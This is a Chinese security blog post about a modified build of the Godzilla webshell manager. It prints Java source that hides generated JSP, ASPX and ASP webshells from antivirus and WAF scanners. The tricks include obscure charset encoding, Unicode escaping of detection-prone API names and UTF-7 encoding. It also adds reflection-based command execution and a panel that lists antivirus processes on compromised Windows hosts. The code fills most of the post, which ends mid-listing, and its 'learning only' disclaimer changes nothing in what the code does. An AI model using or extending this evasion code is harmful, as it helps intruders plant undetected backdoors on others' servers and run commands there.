哥斯拉特战版二开-纷传小圈

admin 2026-01-13 14:48:50 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文章介绍哥斯拉特战版二开,重点升级jsp/jspx、aspx/asp/php等WebShell免杀能力,通过小众编码、超级混淆、Unicode转换绕过检测;同时改进Java命令执行方式并新增杀软识别模块,后续计划扩展加密、后渗透插件与RASP对抗功能,强调仅供学习禁止非法使用。 综合评分: 78 文章分类: 免杀,WEB安全,渗透测试,红队,恶意软件


cover_image

哥斯拉特战版二开-纷传小圈

原创

zyxa

众亦信安

2026年1月12日 11:40 湖南

声明:文中涉及到的技术和工具,仅供学习使用,禁止从事任何非法活动,如因此造成的直接或间接损失,均由使用者自行承担责任。

众亦信安,中意你啊!

温馨提示:当前公众号推送机制调整,仅常读及星标账号可展示大图推送。建议各位将众亦信安团队设为“星标“,以便及时接收我们的最新内容与技术分享。

1:修改jsp/jspx免杀,增加相关xml头部编码

特战版免杀相关核心代码位于core/shellprocessor中

jsp/jspx免杀分为escaps和unicode模块,其中模块对应的分别为超级混淆和unicode免杀

Tomcat内部支持了很多小众的字符集编码,如果检测引擎不支持这种编码的解析,则对其而言就是一堆无法识别的乱码。所以我们可以利用这些小众编码来进行绕过这里参考文章

https://ti.aliyun.com/#/log?id=29

超级混淆实现的逻辑位于JspEscapesProcessor代码中的doProcessor函数中

public&nbsp;byte[]&nbsp;doProcessor(byte[] shell, String suffix, EscapesOptionsescapesOptions) {&nbsp; &nbsp; &nbsp; &nbsp; this.options = escapesOptions;&nbsp; &nbsp; &nbsp; &nbsp; ByteBuffer byteBuffer =&nbsp;newByteBuffer(shell);&nbsp; &nbsp; &nbsp; &nbsp; String globalCodeStartLabel ="<jsp:declaration>";&nbsp; &nbsp; &nbsp; &nbsp; String globalCodeEndLabel ="</jsp:declaration>";&nbsp; &nbsp; &nbsp; &nbsp; String codeStartLabel ="<jsp:scriptlet>";&nbsp; &nbsp; &nbsp; &nbsp; String codeEndLabel ="</jsp:scriptlet>";&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if("jsp".equals(suffix)) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;int&nbsp;jspxLabelIndex =byteBuffer.index(0,&nbsp;"<%!");&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(jspxLabelIndex <&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; jspxLabelIndex =byteBuffer.index(0,&nbsp;"<%");&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;byteBuffer.append("<jsp:rootxmlns:jsp=\"http://java.sun.com/JSP/Page\"version=\"1.2\">", jspxLabelIndex);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;byteBuffer.append("</jsp:root>", byteBuffer.length());&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;byteBuffer.replaceFirst("<%!", globalCodeStartLabel,jspxLabelIndex);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;byteBuffer.replaceFirst("%>", globalCodeEndLabel,jspxLabelIndex);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;byteBuffer.replaceFirst("<%", codeStartLabel, jspxLabelIndex);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;byteBuffer.replaceFirst("%>", codeEndLabel,jspxLabelIndex);&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; ByteBuffer globalCodeByteBuffer =byteBuffer.subMiddleBytes(globalCodeStartLabel, globalCodeEndLabel);&nbsp; &nbsp; &nbsp; &nbsp; ByteBuffer codeByteBuffer =byteBuffer.subMiddleBytes(codeStartLabel, codeEndLabel);&nbsp; &nbsp; &nbsp; &nbsp; ByteBufferglobalCodeNewByteBuffer =&nbsp;newByteBuffer(this.processor(globalCodeByteBuffer.getBytes()));&nbsp; &nbsp; &nbsp; &nbsp;byteBuffer.replace(globalCodeByteBuffer.getBytes(),globalCodeNewByteBuffer.getBytes());&nbsp; &nbsp; &nbsp; &nbsp; ByteBuffer codeNewByteBuffer =new&nbsp;ByteBuffer(this.processor(codeByteBuffer.getBytes()));&nbsp; &nbsp; &nbsp; &nbsp;byteBuffer.replace(codeByteBuffer.getBytes(),codeNewByteBuffer.getBytes());&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;byteBuffer.getBytes();&nbsp; &nbsp; }

这里我们增加如下代码

if&nbsp;(!this.options.EncodingMethod.equals("关闭")) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String declaration =&nbsp;"<?xml version=\"1.0\" encoding=\""&nbsp;+&nbsp;this.options.EncodingMethod +&nbsp;"\" ?>";&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(!this.options.isEncodingHeader) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; declaration =&nbsp;"";&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;byte[] declarationBytes = declaration.getBytes("UTF-8");&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;byte[] currentBytes = byteBuffer.getBytes();&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String content =&nbsp;new&nbsp;String(currentBytes,&nbsp;"UTF-8");&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;byte[] ibm037Bytes = content.getBytes(this.options.EncodingMethod);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;byte[] combinedBytes =&nbsp;new&nbsp;byte[declarationBytes.length + ibm037Bytes.length];&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; System.arraycopy(declarationBytes,&nbsp;0, combinedBytes,&nbsp;0, declarationBytes.length);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; System.arraycopy(ibm037Bytes,&nbsp;0, combinedBytes, declarationBytes.length, ibm037Bytes.length);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; byteBuffer =&nbsp;new&nbsp;ByteBuffer(combinedBytes);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(UnsupportedEncodingException var15) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; var15.printStackTrace();&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; }

这里代码如果不理解的话直接丢ai,再修改控制器流程

public static JspEscapesProcessor.EscapesOptions chooseEscapes(String[] escapesMethods) {&nbsp; &nbsp; &nbsp; &nbsp; JspEscapesProcessor.EscapesOptions options = new JspEscapesProcessor.EscapesOptions();&nbsp; &nbsp; &nbsp; &nbsp; ChooseEscapes dialog = new ChooseEscapes();&nbsp; &nbsp; &nbsp; &nbsp; Arrays.stream(escapesMethods).forEach((method) ->&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dialog.escapesListComboBox.addItem(method);&nbsp; &nbsp; &nbsp; &nbsp; });&nbsp; &nbsp; &nbsp; &nbsp; String[] IBMLIST = new String[]{"关闭",&nbsp;"cp037",&nbsp;"cp290",&nbsp;"utf-16le",&nbsp;"utf-16be",&nbsp;"utf-32le",&nbsp;"utf-32be",&nbsp;"IBM01145",&nbsp;"IBM01146"};&nbsp; &nbsp; &nbsp; &nbsp; Arrays.stream(IBMLIST).forEach((method) ->&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dialog.EncodingComboBox.addItem(method);&nbsp; &nbsp; &nbsp; &nbsp; });&nbsp; &nbsp; &nbsp; &nbsp; dialog.setTitle(EasyI18N.getI18nString("混淆配置"));&nbsp; &nbsp; &nbsp; &nbsp; dialog.setLocationRelativeTo(MainActivity.getFrame());&nbsp; &nbsp; &nbsp; &nbsp; dialog.pack();&nbsp; &nbsp; &nbsp; &nbsp; dialog.setVisible(true);&nbsp; &nbsp; &nbsp; &nbsp; options.escapeMethod = dialog.escapesListComboBox.getSelectedItem().toString();&nbsp; &nbsp; &nbsp; &nbsp; options.EncodingMethod = dialog.EncodingComboBox.getSelectedItem().toString();&nbsp; &nbsp; &nbsp; &nbsp; options.isEncodingHeader = dialog.EncodingCheckBox.isSelected();&nbsp; &nbsp; &nbsp; &nbsp; options.isAppendLitter = dialog.isAppendLitterCheckBox.isSelected();&nbsp; &nbsp; &nbsp; &nbsp; options.isDoubleConfusion = dialog.isDoubleConfusionCheckBox.isSelected();&nbsp; &nbsp; &nbsp; &nbsp; options.isRandomConfusion = dialog.isRandomConfusionCheckBox.isSelected();&nbsp; &nbsp; &nbsp; &nbsp; options.minLitterNumber = Integer.parseInt(dialog.litterMinLengthTextField.getText());&nbsp; &nbsp; &nbsp; &nbsp; options.maxLitterNumber = Integer.parseInt(dialog.litterMaxLengthTextField.getText());&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;options;&nbsp; &nbsp; }

最后增加ui设计

this.EncodingLabel = new JLabel();&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;this.EncodingLabel.setText("编码(编码后请勿复制粘贴传输):");&nbsp; &nbsp; &nbsp; &nbsp; panel3.add(this.EncodingLabel, new GridConstraints(6,&nbsp;0,&nbsp;1,&nbsp;1,&nbsp;8,&nbsp;0,&nbsp;0,&nbsp;0, (Dimension)null, (Dimension)null, (Dimension)null,&nbsp;0,&nbsp;false));&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;this.EncodingComboBox = new JComboBox();&nbsp; &nbsp; &nbsp; &nbsp; panel3.add(this.EncodingComboBox, new GridConstraints(6,&nbsp;1,&nbsp;1,&nbsp;1,&nbsp;8,&nbsp;1,&nbsp;2,&nbsp;0, (Dimension)null, (Dimension)null, (Dimension)null,&nbsp;0,&nbsp;false));&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;this.EncodingTitleLabel = new JLabel();&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;this.EncodingTitleLabel.setText("编码头部声明(不勾选此选项可能导致不解析):");&nbsp; &nbsp; &nbsp; &nbsp; panel3.add(this.EncodingTitleLabel, new GridConstraints(7,&nbsp;0,&nbsp;1,&nbsp;1,&nbsp;8,&nbsp;0,&nbsp;0,&nbsp;0, (Dimension)null, (Dimension)null, (Dimension)null,&nbsp;0,&nbsp;false));&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;this.EncodingCheckBox = new JCheckBox();&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;this.EncodingCheckBox.setText("开启");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;this.EncodingCheckBox.setSelected(true);

#

2:增加aspx/asp/php免杀

2.1:aspx免杀

这里有人会对后面可能会产生一个疑问为啥能直接在那个目录下创建他就能生成

core/shellprocessor/StartProcessor文件中的代码,可以看到他是对class进行一个扫描,所以我们可以自己在/core/shellprocessor目录下自定义方法

&nbsp;static&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; ApplicationContext.scanClass(ApplicationContext.class.getResource("/core/shellprocessor/"),&nbsp;"core.shellprocessor", ShellProcessor.class, GenerateProcessor.class).forEach((c) -> {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; GenerateProcessor processorAnnotation = (GenerateProcessor)c.getAnnotation(GenerateProcessor.class);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Arrays.stream(processorAnnotation.superTemplate()).forEach((templateName) -> {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; LinkedHashSet classes =&nbsp;null;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(processors.containsKey(templateName)) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; classes = (LinkedHashSet)processors.get(templateName);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; classes =&nbsp;new&nbsp;LinkedHashSet();&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; processors.put(templateName, classes);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; classes.add(c);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; });&nbsp; &nbsp; &nbsp; &nbsp; });&nbsp; &nbsp; }

增加unicode加密

package core.shellprocessor.aspxUnicode;
import&nbsp;core.annotation.GenerateProcessor;import&nbsp;core.imp.ShellProcessor;
@GenerateProcessor(&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;DisplayName&nbsp;=&nbsp;"Unicode",&nbsp; &nbsp; &nbsp; &nbsp; superTemplate = {"aspx",&nbsp;"ashx",&nbsp;"asmx",&nbsp;"soap"})public&nbsp;class&nbsp;ASPXUnicode&nbsp;implements&nbsp;ShellProcessor&nbsp;{&nbsp; &nbsp;&nbsp;public&nbsp;ASPXUnicode() {&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;public&nbsp;static&nbsp;String&nbsp;string2Unicode(String&nbsp;str) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;StringBuffer&nbsp;unicode =&nbsp;new&nbsp;StringBuffer();
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for(int i =&nbsp;0; i < str.length(); ++i) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; char c = str.charAt(i);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(String.valueOf(c).equals(".")) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; unicode.append(c);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; unicode.append("\\u00"&nbsp;+&nbsp;Integer.toHexString(c));&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;unicode.toString();&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;public&nbsp;static&nbsp;String&nbsp;encoderAspx(String&nbsp;text) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;String[] list =&nbsp;new&nbsp;String[]{"BinaryRead",&nbsp;"ContentLength",&nbsp;"Context.Request",&nbsp;"Context.Response",&nbsp;"Context.Session",&nbsp;"BinaryWrite",&nbsp;"ComputeHash",&nbsp;"CreateDecryptor",&nbsp;"CreateEncryptor",&nbsp;"Cryptography",&nbsp;"GetMethod",&nbsp;"MD5CryptoServiceProvider",&nbsp;"RijndaelManaged",&nbsp;"System.BitConverter",&nbsp;"System.Convert",&nbsp;"FromBase64String",&nbsp;"ToBase64String",&nbsp;"System.IO.MemoryStream",&nbsp;"System.Reflection",&nbsp;"Assembly",&nbsp;"System.Security",&nbsp;"System.Text.Encoding.Default.GetBytes",&nbsp;"System.Type",&nbsp;"ToString",&nbsp;"TransformFinalBlock",&nbsp;"magicNum1",&nbsp;"magicNum2",&nbsp;"CreateInstance"};&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;String&nbsp;result = text;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for(int i =&nbsp;0; i < list.length; ++i) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;String&nbsp;s = list[i];&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int index = text.indexOf(s);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(index != -1) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; result = result.replace(s,&nbsp;string2Unicode(s));&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;result;&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;public&nbsp;byte[]&nbsp;doProcessor(byte[] shell,&nbsp;String&nbsp;suffix) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;String&nbsp;shellContent =&nbsp;new&nbsp;String(shell);&nbsp; &nbsp; &nbsp; &nbsp; shellContent =&nbsp;encoderAspx(shellContent);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;shellContent.getBytes();&nbsp; &nbsp; }}

2.2:asp免杀

asp同理,创建自定义方法就行,这里我们选择常见的utf-7

public&nbsp;static&nbsp;String&nbsp;utf7_encode(String text)&nbsp;throws&nbsp;Exception {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;byte[] s = text.getBytes("utf-16be");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;String&nbsp;result&nbsp;=&nbsp;"";
&nbsp; &nbsp; &nbsp; &nbsp; Class baseCls;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; baseCls = Class.forName("java.util.Base64");&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Object&nbsp;Encoder&nbsp;=&nbsp;baseCls.getMethod("getEncoder", (Class[])null).invoke(baseCls, (Object[])null);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Class&nbsp;enen&nbsp;=&nbsp;Encoder.getClass();&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; result = (String)enen.getMethod("encode",&nbsp;byte[].class).invoke(Encoder, s);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; result = result.replace("\n",&nbsp;"").replace("\r",&nbsp;"").replace("=",&nbsp;"").replace("/",&nbsp;",");&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(Throwable var7) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; baseCls = Class.forName("sun.misc.BASE64Encoder");&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Object&nbsp;Encoder&nbsp;=&nbsp;baseCls.newInstance();&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Class&nbsp;enen&nbsp;=&nbsp;Encoder.getClass();&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; result = (String)enen.getMethod("encode",&nbsp;byte[].class).invoke(Encoder, s);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; result = result.replace("\n",&nbsp;"").replace("\r",&nbsp;"").replace("=",&nbsp;"").replace("/",&nbsp;",");&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;result;&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;public&nbsp;static&nbsp;String&nbsp;utf7_decode(String text)&nbsp;throws&nbsp;Exception {&nbsp; &nbsp; &nbsp; &nbsp; text = text.replace(",",&nbsp;"/") +&nbsp;"==";&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;byte[] data = text.getBytes();
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;byte[] decodebs;&nbsp; &nbsp; &nbsp; &nbsp; Class baseCls;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; baseCls = Class.forName("java.util.Base64");&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Object&nbsp;Decoder&nbsp;=&nbsp;baseCls.getMethod("getDecoder", (Class[])null).invoke(baseCls, (Object[])null);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Class&nbsp;dede&nbsp;=&nbsp;Decoder.getClass();&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; decodebs = (byte[])((byte[])dede.getMethod("decode",&nbsp;byte[].class).invoke(Decoder, data));&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(Throwable var7) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; baseCls = Class.forName("sun.misc.BASE64Decoder");&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Object&nbsp;Decoder&nbsp;=&nbsp;baseCls.newInstance();&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Class&nbsp;dede&nbsp;=&nbsp;Decoder.getClass();&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; decodebs = (byte[])((byte[])dede.getMethod("decodeBuffer", String.class).invoke(Decoder,&nbsp;new&nbsp;String(data)));&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; text =&nbsp;new&nbsp;String(decodebs,&nbsp;"utf-16be");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;text;&nbsp; &nbsp; }

2.3:php免杀,php同理这里就不一一概述

3:修改java内置命令执行方式

这里我们提取gsl payload里面的payload.classs,修改为payload.class放入idea中,找到execCommand函数

修改命令执行函数

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Class<?> pbClass = Class.forName("java.lang.ProcessBuilder");&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; java.util.List<String> cmdList =&nbsp;new&nbsp;java.util.ArrayList<>();&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(System.getProperty("os.name").toLowerCase().contains("win")) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cmdList.add("cmd.exe");&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cmdList.add("/c");&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cmdList.add("/bin/sh");&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cmdList.add("-c");&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cmdList.addAll(var3);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; java.lang.reflect.Constructor<?> ctor = pbClass.getConstructor(java.util.List.class);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Object pb = ctor.newInstance(cmdList);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; java.lang.reflect.Method startMethod = pbClass.getMethod("start");&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; var2 = (Process) startMethod.invoke(pb);

之后重新编译打包进去

#

4:增加杀软识别

#

package&nbsp;core.ui;
import&nbsp;cn.hutool.json.JSONObject;import&nbsp;cn.hutool.json.JSONUtil;import&nbsp;core.Encoding;import&nbsp;core.annotation.DisplayName;import&nbsp;core.imp.Payload;import&nbsp;core.shell.ShellEntity;import&nbsp;core.ui.component.DataView;import&nbsp;core.ui.component.dialog.GOptionPane;import&nbsp;java.awt.BorderLayout;import&nbsp;java.awt.event.ActionEvent;import&nbsp;java.io.IOException;import&nbsp;java.io.InputStream;import&nbsp;java.util.ArrayList;import&nbsp;java.util.Arrays;import&nbsp;java.util.Collections;import&nbsp;java.util.HashMap;import&nbsp;java.util.Iterator;import&nbsp;java.util.Set;import&nbsp;java.util.Vector;import&nbsp;java.util.concurrent.CopyOnWriteArrayList;import&nbsp;javax.swing.JButton;import&nbsp;javax.swing.JPanel;import&nbsp;javax.swing.JScrollPane;import&nbsp;javax.swing.JSplitPane;import&nbsp;util.Log;import&nbsp;util.automaticBindClick;import&nbsp;util.functions;@DisplayName(&nbsp; &nbsp; &nbsp; &nbsp; DisplayName = "杀软详情")public&nbsp;class&nbsp;ShellAvscan&nbsp;extends&nbsp;JPanel&nbsp;{&nbsp; &nbsp;&nbsp;private&nbsp;static&nbsp;final&nbsp;Vector&nbsp;COLUMNS_VECTOR&nbsp;=&nbsp;new&nbsp;Vector(new&nbsp;CopyOnWriteArrayList(new&nbsp;String[]{"序号",&nbsp;"进程名称",&nbsp;"PID",&nbsp;"杀软名称"}));&nbsp; &nbsp;&nbsp;private&nbsp;static&nbsp;final&nbsp;HashMap<String, String> LINUX_INET_FILE_MAPPING =&nbsp;new&nbsp;HashMap();&nbsp; &nbsp;&nbsp;private&nbsp;static&nbsp;final&nbsp;HashMap<String, String> LINUX_TCP_STATUS_MAPPING =&nbsp;new&nbsp;HashMap();&nbsp; &nbsp;&nbsp;private&nbsp;final&nbsp;DataView dataView;&nbsp; &nbsp;&nbsp;private&nbsp;final&nbsp;JButton getButton;&nbsp; &nbsp;&nbsp;private&nbsp;final&nbsp;JSplitPane portScanSplitPane;&nbsp; &nbsp;&nbsp;private&nbsp;final&nbsp;ShellEntity shellEntity;&nbsp; &nbsp;&nbsp;private&nbsp;final&nbsp;Payload payload;&nbsp; &nbsp;&nbsp;private&nbsp;Encoding encoding;&nbsp; &nbsp;&nbsp;public&nbsp;ShellAvscan(ShellEntity shellEntity)&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;this.shellEntity = shellEntity;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;this.payload = shellEntity.getPayloadModule();&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;this.getButton =&nbsp;new&nbsp;JButton("scan");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;this.dataView =&nbsp;new&nbsp;DataView((Vector)null, COLUMNS_VECTOR, -1, -1);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;this.portScanSplitPane =&nbsp;new&nbsp;JSplitPane();&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;this.portScanSplitPane.setOrientation(0);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;this.portScanSplitPane.setDividerSize(0);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;JPanel&nbsp;topPanel&nbsp;=&nbsp;new&nbsp;JPanel();&nbsp; &nbsp; &nbsp; &nbsp; topPanel.add(this.getButton);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;this.portScanSplitPane.setTopComponent(topPanel);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;this.portScanSplitPane.setBottomComponent(new&nbsp;JScrollPane(this.dataView));&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;this.setLayout(new&nbsp;BorderLayout());&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;this.add(this.portScanSplitPane);&nbsp; &nbsp; &nbsp; &nbsp; automaticBindClick.bindJButtonClick(this,&nbsp;this);&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;private&nbsp;void&nbsp;getButtonClick(ActionEvent actionEvent)&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Vector&nbsp;rowsVector&nbsp;=&nbsp;null;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(!this.payload.isWindows()) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; GOptionPane.showMessageDialog(this,&nbsp;"目前只支持Windows系统的杀软识别!",&nbsp;"提示",&nbsp;2);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rowsVector =&nbsp;this.getWinNet();&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;this.dataView.AddRows(rowsVector);&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(Exception var3) {&nbsp; 